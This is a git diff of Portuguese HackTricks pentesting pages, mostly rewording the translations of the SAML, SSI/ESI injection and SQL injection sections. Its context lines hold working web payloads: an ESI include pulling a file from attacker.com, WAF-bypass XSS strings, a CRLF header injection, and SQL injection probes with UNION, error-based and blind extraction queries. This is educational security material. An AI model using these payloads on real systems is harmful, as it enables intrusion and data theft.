* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Visão Geral do SAML
|
# Visão Geral do SAML
|
||||||
|
|
||||||
**Security Assertion Markup Language (SAML)** permite que provedores de identidade (IdP) sejam utilizados para enviar credenciais de autorização para provedores de serviços (SP), facilitando o logon único (SSO). Essa abordagem simplifica o gerenciamento de vários logins, permitindo que um único conjunto de credenciais seja usado em vários sites. Ele utiliza XML para comunicação padronizada entre IdPs e SPs, vinculando a autenticação da identidade do usuário com a autorização do serviço.
|
A **Security Assertion Markup Language (SAML)** permite que provedores de identidade (IdP) sejam utilizados para enviar credenciais de autorização para provedores de serviços (SP), facilitando o logon único (SSO). Essa abordagem simplifica o gerenciamento de vários logins, permitindo que um único conjunto de credenciais seja usado em vários sites. Ela utiliza XML para comunicação padronizada entre IdPs e SPs, vinculando a autenticação da identidade do usuário com a autorização do serviço.
|
||||||
|
|
||||||
## Comparação entre SAML e OAuth
|
## Comparação entre SAML e OAuth
|
||||||
|
|
||||||
- **SAML** é direcionado para fornecer às empresas maior controle sobre a segurança do login SSO.
|
- **SAML** é direcionado a fornecer às empresas maior controle sobre a segurança de login SSO.
|
||||||
- **OAuth** é projetado para ser mais amigável para dispositivos móveis, usa JSON e é um esforço colaborativo de empresas como Google e Twitter.
|
- **OAuth** é projetado para ser mais amigável para dispositivos móveis, usa JSON e é um esforço colaborativo de empresas como Google e Twitter.
|
||||||
|
|
||||||
# Fluxo de Autenticação SAML
|
# Fluxo de Autenticação SAML
|
||||||
|
@ -33,13 +33,13 @@ O processo de autenticação SAML envolve várias etapas, conforme ilustrado no
|
||||||
1. **Tentativa de Acesso ao Recurso**: O usuário tenta acessar um recurso protegido.
|
1. **Tentativa de Acesso ao Recurso**: O usuário tenta acessar um recurso protegido.
|
||||||
2. **Geração de Solicitação SAML**: O SP não reconhece o usuário e gera uma Solicitação SAML.
|
2. **Geração de Solicitação SAML**: O SP não reconhece o usuário e gera uma Solicitação SAML.
|
||||||
3. **Redirecionamento para IdP**: O usuário é redirecionado para o IdP, com a Solicitação SAML passando pelo navegador do usuário.
|
3. **Redirecionamento para IdP**: O usuário é redirecionado para o IdP, com a Solicitação SAML passando pelo navegador do usuário.
|
||||||
4. **IdP Recebe Solicitação**: O IdP recebe a Solicitação SAML.
|
4. **IdP Recebe a Solicitação**: O IdP recebe a Solicitação SAML.
|
||||||
5. **Autenticação no IdP**: O IdP autentica o usuário.
|
5. **Autenticação no IdP**: O IdP autentica o usuário.
|
||||||
6. **Validação do Usuário**: O IdP valida a legitimidade do usuário para acessar o recurso solicitado.
|
6. **Validação do Usuário**: O IdP valida a legitimidade do usuário para acessar o recurso solicitado.
|
||||||
7. **Criação de Resposta SAML**: O IdP gera uma Resposta SAML contendo as assertivas necessárias.
|
7. **Criação de Resposta SAML**: O IdP gera uma Resposta SAML contendo as assertivas necessárias.
|
||||||
8. **Redirecionamento para URL ACS do SP**: O usuário é redirecionado para a URL do Serviço de Consumidor de Assertivas (ACS) do SP.
|
8. **Redirecionamento para a URL ACS do SP**: O usuário é redirecionado para a URL do Serviço de Consumidor de Assertivas (ACS) do SP.
|
||||||
9. **Validação da Resposta SAML**: O ACS valida a Resposta SAML.
|
9. **Validação da Resposta SAML**: O ACS valida a Resposta SAML.
|
||||||
10. **Acesso ao Recurso Concedido**: Acesso ao recurso solicitado inicialmente é concedido.
|
10. **Acesso ao Recurso Concedido**: Acesso ao recurso inicialmente solicitado é concedido.
|
||||||
|
|
||||||
# Exemplo de Solicitação SAML
|
# Exemplo de Solicitação SAML
|
||||||
|
|
||||||
|
@ -72,7 +72,7 @@ Você pode encontrar uma [resposta SAML completa aqui](https://epi052.gitlab.io/
|
||||||
- **saml:Assertion**: Esta parte contém informações sobre a identidade do usuário e possivelmente outros atributos.
|
- **saml:Assertion**: Esta parte contém informações sobre a identidade do usuário e possivelmente outros atributos.
|
||||||
- **saml:Subject**: Especifica o sujeito principal de todas as declarações na afirmação.
|
- **saml:Subject**: Especifica o sujeito principal de todas as declarações na afirmação.
|
||||||
- **saml:StatusCode**: Representa o status da operação em resposta à solicitação correspondente.
|
- **saml:StatusCode**: Representa o status da operação em resposta à solicitação correspondente.
|
||||||
- **saml:Conditions**: Detalha condições como o tempo de validade da Declaração e o Provedor de Serviços especificado.
|
- **saml:Conditions**: Detalha condições como o tempo de validade da Declaração e o Provedor de Serviço especificado.
|
||||||
- **saml:AuthnStatement**: Confirma que o IdP autenticou o sujeito da Declaração.
|
- **saml:AuthnStatement**: Confirma que o IdP autenticou o sujeito da Declaração.
|
||||||
- **saml:AttributeStatement**: Contém atributos que descrevem o sujeito da Declaração.
|
- **saml:AttributeStatement**: Contém atributos que descrevem o sujeito da Declaração.
|
||||||
|
|
||||||
|
@ -83,7 +83,7 @@ Após receber a solicitação POST e validar a Resposta SAML, o acesso é conced
|
||||||
|
|
||||||
# Assinaturas XML
|
# Assinaturas XML
|
||||||
|
|
||||||
As Assinaturas XML são versáteis, capazes de assinar uma árvore XML inteira ou elementos específicos dentro dela. Elas podem ser aplicadas a qualquer Objeto XML, não apenas a elementos de Resposta. Abaixo estão os principais tipos de Assinaturas XML:
|
As Assinaturas XML são versáteis, capazes de assinar uma árvore XML inteira ou elementos específicos dentro dela. Elas podem ser aplicadas a qualquer Objeto XML, não apenas elementos de Resposta. Abaixo estão os principais tipos de Assinaturas XML:
|
||||||
|
|
||||||
### Estrutura Básica da Assinatura XML
|
### Estrutura Básica da Assinatura XML
|
||||||
Uma Assinatura XML consiste nos elementos essenciais conforme mostrado:
|
Uma Assinatura XML consiste nos elementos essenciais conforme mostrado:
|
||||||
|
|
|
@ -2,14 +2,14 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -27,7 +27,7 @@ E, quando a página é servida, este fragmento será avaliado e substituído por
|
||||||
|
|
||||||
`Terça-feira, 15-Jan-2013 19:28:54 EST`
|
`Terça-feira, 15-Jan-2013 19:28:54 EST`
|
||||||
|
|
||||||
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa é geralmente uma questão de quanta parte da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como o horário atual - mostrado acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar por outra solução.
|
A decisão de quando usar SSI e quando ter sua página inteiramente gerada por algum programa geralmente é uma questão de quanta parte da página é estática e quanto precisa ser recalculado toda vez que a página é servida. SSI é uma ótima maneira de adicionar pequenos pedaços de informação, como o horário atual - mostrado acima. Mas se a maioria da sua página está sendo gerada no momento em que é servida, você precisa procurar por outra solução.
|
||||||
|
|
||||||
Você pode inferir a presença de SSI se a aplicação web usar arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é o único caso.
|
Você pode inferir a presença de SSI se a aplicação web usar arquivos com as extensões \*\* `.shtml`, `.shtm` ou `.stm`\*\*, mas não é o único caso.
|
||||||
|
|
||||||
|
@ -68,7 +68,7 @@ Uma expressão SSI típica tem o seguinte formato:
|
||||||
```
|
```
|
||||||
## Inclusão Lateral
|
## Inclusão Lateral
|
||||||
|
|
||||||
Existe um problema **em cachear informações ou aplicações dinâmicas** pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é utilizado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache. Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele poderia ser capaz de **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
|
Existe um problema **em armazenar em cache informações ou aplicativos dinâmicos**, pois parte do conteúdo pode ter **variações** para a próxima vez que o conteúdo for recuperado. É para isso que o **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache. Se um **atacante** for capaz de **injetar uma tag ESI** dentro do conteúdo em cache, então ele poderá **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
|
||||||
|
|
||||||
### Detecção de ESI
|
### Detecção de ESI
|
||||||
|
|
||||||
|
@ -110,12 +110,12 @@ hell<!--esi-->o
|
||||||
|
|
||||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
| **Software** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||||
| Squid3 | Sim | Sim | Sim | Sim | Não |
|
| Squid3 | Sim | Sim | Sim | Sim | Não |
|
||||||
| Varnish Cache | Sim | Não | Não | Sim | Sim |
|
| Varnish Cache | Sim | Não | Não | Sim | Sim |
|
||||||
| Fastly | Sim | Não | Não | Não | Sim |
|
| Fastly | Sim | Não | Não | Não | Sim |
|
||||||
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
|
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
|
||||||
| NodeJS esi | Sim | Sim | Sim | Não | Não |
|
| NodeJS esi | Sim | Sim | Sim | Não | Não |
|
||||||
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
|
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
|
||||||
|
|
||||||
#### XSS
|
#### XSS
|
||||||
|
|
||||||
|
@ -123,7 +123,7 @@ A seguinte diretiva ESI carregará um arquivo arbitrário dentro da resposta do
|
||||||
```xml
|
```xml
|
||||||
<esi:include src=http://attacker.com/xss.html>
|
<esi:include src=http://attacker.com/xss.html>
|
||||||
```
|
```
|
||||||
#### Bypassar a proteção XSS do cliente
|
#### Bypass proteção XSS do cliente
|
||||||
```xml
|
```xml
|
||||||
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
|
||||||
|
|
||||||
|
@ -131,7 +131,7 @@ Use <!--esi--> to bypass WAFs:
|
||||||
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
|
||||||
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>
|
||||||
```
|
```
|
||||||
#### Roubar Cookie
|
#### Roubo de Cookie
|
||||||
|
|
||||||
* Roubo remoto de cookie
|
* Roubo remoto de cookie
|
||||||
```xml
|
```xml
|
||||||
|
@ -155,7 +155,7 @@ Não confunda isso com uma "Inclusão de Arquivo Local":
|
||||||
```
|
```
|
||||||
#### CRLF
|
#### CRLF
|
||||||
|
|
||||||
CRLF (Carriage Return Line Feed) stands for the sequence of two ASCII characters, 0x0D and 0x0A, which are used to denote a line break in text files. In the context of server-side and edge-side inclusion, CRLF injection refers to the technique of injecting CRLF sequences into input data to manipulate the behavior of the server or web application. This can be exploited to perform various attacks such as HTTP response splitting and header injection.
|
CRLF (Carriage Return Line Feed) refers to the sequence of characters used to denote a line break in text files. In web security, CRLF injection involves inserting these special characters into input fields to manipulate the application's behavior. This can lead to various attacks such as HTTP response splitting and server-side request forgery.
|
||||||
```markup
|
```markup
|
||||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||||
```
|
```
|
||||||
|
@ -196,7 +196,7 @@ Isso enviará informações de depuração incluídas na resposta:
|
||||||
```
|
```
|
||||||
### ESI + XSLT = XXE
|
### ESI + XSLT = XXE
|
||||||
|
|
||||||
Ao especificar o valor `xslt` para o parâmetro _dca_, é viável incluir ESI baseado em **`eXtensible Stylesheet Language Transformations (XSLT)`**. A inclusão faz com que o servidor HTTP recupere os arquivos XML e XSLT, sendo que este último filtra o primeiro. Tais arquivos XML são exploráveis para ataques de _XML External Entity (XXE)_, permitindo que os atacantes executem ataques SSRF. No entanto, a utilidade desse método é limitada, uma vez que as inclusões ESI já servem como um vetor SSRF. Devido à ausência de suporte na biblioteca Xalan subjacente, DTDs externos não são processados, impedindo a extração de arquivos locais.
|
Ao especificar o valor `xslt` para o parâmetro _dca_, é viável incluir ESI baseado em **`eXtensible Stylesheet Language Transformations (XSLT)`**. A inclusão faz com que o servidor HTTP recupere os arquivos XML e XSLT, sendo que este último filtra o primeiro. Tais arquivos XML são exploráveis para ataques de _XML External Entity (XXE)_, permitindo que invasores executem ataques SSRF. No entanto, a utilidade desse método é limitada, uma vez que as inclusões ESI já servem como um vetor SSRF. Devido à ausência de suporte na biblioteca Xalan subjacente, DTDs externos não são processados, impedindo a extração de arquivos locais.
|
||||||
```xml
|
```xml
|
||||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||||
```
|
```
|
||||||
|
@ -230,9 +230,9 @@ Verifique a página XSLT:
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
@ -20,12 +20,12 @@
|
||||||
|
|
||||||
## O que é injeção de SQL?
|
## O que é injeção de SQL?
|
||||||
|
|
||||||
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais a aplicação possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometer o servidor ou negar o serviço.
|
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram em consultas de banco de dados** de um aplicativo. Essa vulnerabilidade pode permitir que os atacantes **visualizem**, **modifiquem** ou **excluam** dados aos quais não deveriam ter acesso, incluindo informações de outros usuários ou quaisquer dados aos quais o aplicativo possa acessar. Tais ações podem resultar em alterações permanentes na funcionalidade ou conteúdo do aplicativo ou até mesmo comprometer o servidor ou negar o serviço.
|
||||||
|
|
||||||
|
|
||||||
## Detecção do ponto de entrada
|
## Detecção do ponto de entrada
|
||||||
|
|
||||||
Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
|
Quando um site parece estar **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas ao SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz.
|
||||||
Aqui estão alguns exemplos úteis:
|
Aqui estão alguns exemplos úteis:
|
||||||
```
|
```
|
||||||
[Nothing]
|
[Nothing]
|
||||||
|
@ -39,7 +39,7 @@ Aqui estão alguns exemplos úteis:
|
||||||
"))
|
"))
|
||||||
`))
|
`))
|
||||||
```
|
```
|
||||||
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou você pode simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
Então, você precisa saber como **corrigir a consulta para que não haja erros**. Para corrigir a consulta, você pode **inserir** dados para que a **consulta anterior aceite os novos dados**, ou simplesmente **inserir** seus dados e **adicionar um símbolo de comentário no final**.
|
||||||
|
|
||||||
_Observe que se você puder ver mensagens de erro ou identificar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
|
_Observe que se você puder ver mensagens de erro ou identificar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil._
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ HQL does not support comments
|
||||||
|
|
||||||
Um método confiável para confirmar uma vulnerabilidade de injeção de SQL envolve a execução de uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que produz conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção de SQL.
|
Um método confiável para confirmar uma vulnerabilidade de injeção de SQL envolve a execução de uma **operação lógica** e observar os resultados esperados. Por exemplo, um parâmetro GET como `?username=Peter` que produz conteúdo idêntico quando modificado para `?username=Peter' or '1'='1` indica uma vulnerabilidade de injeção de SQL.
|
||||||
|
|
||||||
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de injeção de SQL.
|
Da mesma forma, a aplicação de **operações matemáticas** serve como uma técnica de confirmação eficaz. Por exemplo, se acessar `?id=1` e `?id=2-1` produzirem o mesmo resultado, isso é indicativo de uma injeção de SQL.
|
||||||
|
|
||||||
Exemplos demonstrando a confirmação com operações lógicas:
|
Exemplos demonstrando a confirmação com operações lógicas:
|
||||||
```
|
```
|
||||||
|
@ -88,7 +88,7 @@ Esta lista de palavras foi criada para tentar **confirmar SQLinjections** da man
|
||||||
|
|
||||||
### Confirmando com Timing
|
### Confirmando com Timing
|
||||||
|
|
||||||
Em alguns casos, você **não notará nenhuma alteração** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
Em alguns casos, você **não notará nenhuma mudança** na página que está testando. Portanto, uma boa maneira de **descobrir injeções de SQL cegas** é fazer o BD realizar ações que terão um **impacto no tempo** que a página precisa para carregar.\
|
||||||
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:
|
||||||
```
|
```
|
||||||
MySQL (string concat and logical ops)
|
MySQL (string concat and logical ops)
|
||||||
|
@ -143,10 +143,10 @@ A melhor maneira de identificar o back-end é tentar executar funções dos dife
|
||||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||||
```
|
```
|
||||||
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprima a versão do banco de dados**.
|
Também, se tiver acesso à saída da consulta, você poderia fazer com que **imprimisse a versão do banco de dados**.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
A seguir, vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Vamos usar o MySQL como exemplo.
|
A continuação vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Vamos usar o MySQL como exemplo.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Identificando com PortSwigger
|
### Identificando com PortSwigger
|
||||||
|
@ -187,7 +187,7 @@ Selecione mais e mais valores nulos até que a consulta esteja correta:
|
||||||
1' UNION SELECT null,null-- - Not working
|
1' UNION SELECT null,null-- - Not working
|
||||||
1' UNION SELECT null,null,null-- - Worked
|
1' UNION SELECT null,null,null-- - Worked
|
||||||
```
|
```
|
||||||
_Deve-se usar valores `null` pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e null é válido em todos os casos._
|
_É recomendável usar valores `null`, pois em alguns casos o tipo das colunas de ambos os lados da consulta deve ser o mesmo e `null` é válido em todos os casos._
|
||||||
|
|
||||||
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
|
### Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas
|
||||||
|
|
||||||
|
@ -210,27 +210,27 @@ Quando a saída de uma consulta é visível, mas uma injeção baseada em união
|
||||||
|
|
||||||
Isso pode ser realizado por meio do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) de destino. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS de destino.
|
Isso pode ser realizado por meio do uso de técnicas de injeção cega juntamente com as tabelas padrão específicas do seu Sistema de Gerenciamento de Banco de Dados (DBMS) de destino. Para entender essas tabelas padrão, é aconselhável consultar a documentação do DBMS de destino.
|
||||||
|
|
||||||
Uma vez que a consulta foi extraída, é necessário adaptar sua carga útil para fechar com segurança a consulta original. Posteriormente, uma consulta de união é anexada à sua carga útil, facilitando a exploração da nova injeção baseada em união acessível.
|
Uma vez que a consulta foi extraída, é necessário adaptar sua carga útil para fechar com segurança a consulta original. Posteriormente, uma consulta de união é anexada à sua carga útil, facilitando a exploração da injeção baseada em união recém-acessível.
|
||||||
|
|
||||||
Para obter insights mais abrangentes, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
Para obter insights mais abrangentes, consulte o artigo completo disponível em [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||||
|
|
||||||
## Explorando Baseado em Erros
|
## Explorando Baseado em Erros
|
||||||
|
|
||||||
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode usar essas mensagens de erro para **exfiltrar** dados do banco de dados.\
|
Se por algum motivo você **não pode** ver a **saída** da **consulta** mas consegue **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrem** dados do banco de dados.\
|
||||||
Seguindo um fluxo semelhante à exploração Baseada em União, você pode conseguir extrair o banco de dados.
|
Seguindo um fluxo semelhante ao da exploração Baseada em União, você pode conseguir extrair o banco de dados.
|
||||||
```sql
|
```sql
|
||||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||||
```
|
```
|
||||||
## Explorando Blind SQLi
|
## Explorando Blind SQLi
|
||||||
|
|
||||||
Neste caso, você não consegue ver os resultados da consulta ou os erros, mas consegue distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque há conteúdos diferentes na página.\
|
Neste caso, você não consegue ver os resultados da consulta ou os erros, mas consegue distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque existem conteúdos diferentes na página.\
|
||||||
Neste caso, você pode abusar desse comportamento para extrair o banco de dados caractere por caractere:
|
Neste caso, você pode abusar desse comportamento para extrair o banco de dados caractere por caractere:
|
||||||
```sql
|
```sql
|
||||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||||
```
|
```
|
||||||
## Explorando Error Blind SQLi
|
## Explorando Error Blind SQLi
|
||||||
|
|
||||||
